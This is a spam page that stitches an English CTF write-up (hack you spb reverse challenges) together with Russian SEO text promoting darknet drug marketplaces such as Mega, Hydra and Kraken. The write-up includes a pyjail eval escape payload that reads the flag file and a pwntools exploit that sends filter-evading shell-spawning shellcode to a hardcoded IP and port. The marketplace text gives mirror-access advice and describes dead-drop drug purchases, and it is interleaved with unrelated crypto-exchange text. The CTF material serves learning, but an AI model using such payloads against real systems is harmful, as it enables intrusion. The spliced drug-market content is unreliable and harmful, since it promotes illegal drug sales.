Кракен наркошоп сайт

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the даркнет valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Кракен наркошоп сайт - Кракен маркетплейс закрыли
Жесткая система проверки продавцов, исключающая вероятность мошенничества. Основной причиной является то, что люди, совершая покупку могут просто не найти свой товар, а причин этому тысячи. Не становитесь «чайками будьте выше этого, ведь, скорее всего всё может вернуться, откуда не ждёте. Платформа разделена на тематические категории по типу предлагаемых товаров. Внутренний чат для членов команды Проверенные магазины находятся в топе выдачи. Отойдя от темы форума, перейдем к схожей, но не менее важной теме, теме отзывов. Это больная тема в тёмном бизнесе. Если вы всё- таки захотите воспользоваться вторым способом, то ваш интернет- трафик будет передаваться медленнее. Система рейтингов покупателей и продавцов (все рейтинги открыты для пользователей). Перешел по ссылке и могу сказать, что все отлично работает, зеркала официальной Mega в ClearNet действительно держат соединение. После всего проделанного система сайт попросит у вас ввести подтверждение на то, что вы не робот. Подборка Marketplace-площадок by LegalRC Площадки постоянно атакуют друг друга, возможны долгие подключения и лаги. Чтобы любой желающий мог зайти на сайт Мега, разработчиками был создан сайт, выполняющий роль шлюза безопасности и обеспечивающий полную анонимность соединения с сервером. Перейти можно по кнопке ниже: Перейти на Mega Что такое Мега Mega - торговая платформа, доступная в сети Tor с 2022 года. На Меге сотни тысяч зарегистрированных пользователей и понятное дело, что каждому не угодишь. Проект запущен командой программистов, за плечами у которых разработка и запуск таких популярных проектов как LegalRC и Ramp. Ещё одной причиной того что, клад был не найден это люди, у которых нет забот ходят и рыщут в поисках очередного кайфа просто «на нюх если быть более точным, то они ищут клады без выданных представителем магазина координат. Почему именно mega darknet market? Официальные ссылки на Мегу Пользователям портала Мега зеркало рекомендуется сохранить в закладки или скопировать адрес, чтобы иметь неограниченный доступ к порталу. Зеркало это такая же обычная ссылка, просто она предназначена для того чтобы получить доступ к ресурсу, то есть обойти запрет, ну, в том случае, если основная ссылка заблокирована теми самыми дядьками в погонах. Согласно мнению аналитиков, оборот с 2019 года увеличился.3 миллионов долларов до 2 миллиардов в 2020 году. Конечно же, неотъемлемой частью любого хорошего сайта, а тем более великолепной Меге является форум. Потребитель не всегда находит товар по причине того что он пожалел своих денег и приобрел товар у малоизвестного, не проверенного продавца, либо же, что не редко встречается, попросту был не внимательным при поиске своего клада. Если же ничего не заполнять в данной строке, то Мега даст вам все возможные варианты, которые только существуют. Пользователь Мега вход на сайт может осуществить всего тремя способами: Tor Browser VPN Зеркало-шлюз Первый вариант - наиболее безопасный для посетителя сайта, поэтому всем рекомендуется загрузить и инсталлировать Tor Browser на свой компьютер, используя Mega официальный сайт Tor Project. Это говорит о систематическом росте популярности сайта. На сайте отсутствует база данных, а в интерфейс магазина Mega вход можно осуществить только через соединение Tor. Поисковики Настоятельно рекомендуется тщательно проверять ссылки, которые доступны в выдаче поисковой системы. Привычным способом товар не доставляется, по сути это магазин закладок. Хорошая новость, для любых транзакций имеется встроенное 7dxhash шифрование, его нельзя перехватить по воздуху, поймать через wifi или Ethernet. Форум это отличный способ пообщаться с публикой сайта, здесь можно узнать что необходимо улучшить, что на сайте происходит не так, так же можно узнать кидал, можно оценить качество того или иного товара, форумчане могут сравнивать цены, делиться впечатлениями от обслуживания тем или иным магазином. Таким образом, интернет пользователи абсолютно с любых точек земного шара получают доступ к желаемым сайтам или интернет - магазинам. Моментальный это такой способ покупки, когда вам показаны только варианты когда покупка мгновенная, то есть без подтверждения продавца.

Russian Anonymous Marketplace один из крупнейших русскоязычных теневых форумов и торговая площадка. PGP, или при помощи мессенджера Jabber. «Темные» магазины могут спокойно вести торговлю, не опасаясь преследования со стороны властей различных государств. Вернуть его просто: рядом с выпадающим меню торговых пар нажмите кнопку в виде графика. Всегда свежая! Перед покупкой клиент может сравнить цены, сохранять магазины и товары в закладки, изучать отзывы других пользователей о магазинах, что позволит создать собственное впечатление о товаре, услугах и продавце. Wired, его вдохновил успех американской торговой площадки. GoosO_o Сегодня Норма VladiminaTOR Вчера Мега супер, сегодня с парнями скинулись на стафчик и взяли сразу побольше, спасибо за зеркала! Есть еще одно требование: наличие на счету не менее 50 BTC/2 500 ETH. Первый шаг работы на площадке РУИзначальные сведения посетителя автопилотом остаются на главном сервере HydraRU. Комиссии для традиционной торговли: 0 - 50,000.16.26 50,001 - 100,000.14.24 100,001 - 250,000.12.22 250,001 - 500,000.10.20 500,001 - 1,000,000.08.18 1,000,001 - 2,500,000.06.16 2,5000,001. К примеру, служба поддержки готова прийти на помощь в режиме 24/7. На Kraken леверидж равен. Услуги: торговая площадка hydra (гидра) - официальный сайт, зеркало, отзывы. 1-й случай: Был сделан банковский перевод, который не был принят. Крупнейший даркнет-магазин, который специализировался на сделках с валютой. Что такое брутфорс и какой он бывает. Мега российская сеть торговых центров, принадлежащих компании. Onion - Harry71, робот-проверяльщик доступности. Onion-сайтов. Редакция: внимание! Итог Средняя оценка:.4 / 5 Средняя оценка:.3 /. Этот сайт упоминается в онлайн доске заметок Pinterest 0 раз. Dark Pools оказывают полезное влияние на рынок, ведь обычно информация о крупных сделках в той или иной криптовалюте приводит к волнениям и нестабильности. Крупнейшая онлайн-площадка по продаже наркотиков прекратила свою. Рейтинг продавца а-ля Ebay. На указанную вами почту придет письмо со ссылкой, по которой нужно перейти. Ссылка на новый адрес площадки. Согласно мнению аналитиков, оборот с 2019 года увеличился.3 миллионов долларов до 2 миллиардов в 2020 году. Здесь обязательно помогут сами, или перенаправят к нужному специалисту. Здесь нет блокировок, отсутствуют провайдеры. Вместо этого Kraken придерживается принятого организацией ISO наименования XBT. Д.). Если вы выполнили всё верно, то тогда у вас всё будет прекрасно работать и вам не стоит переживать за вашу анонимность. Подробнее в разделе Fiat currency deposit methods, fees, and minimums официального FAQ. Маржинальная торговля Став достаточно опытным трейдером и достигнув 3-го уровня, вы сможете открыть для себя маржинальную торговлю на Kraken. Как торговать на бирже Сразу стоит напомнить, что привычное обозначение биткоина BTC здесь не используется.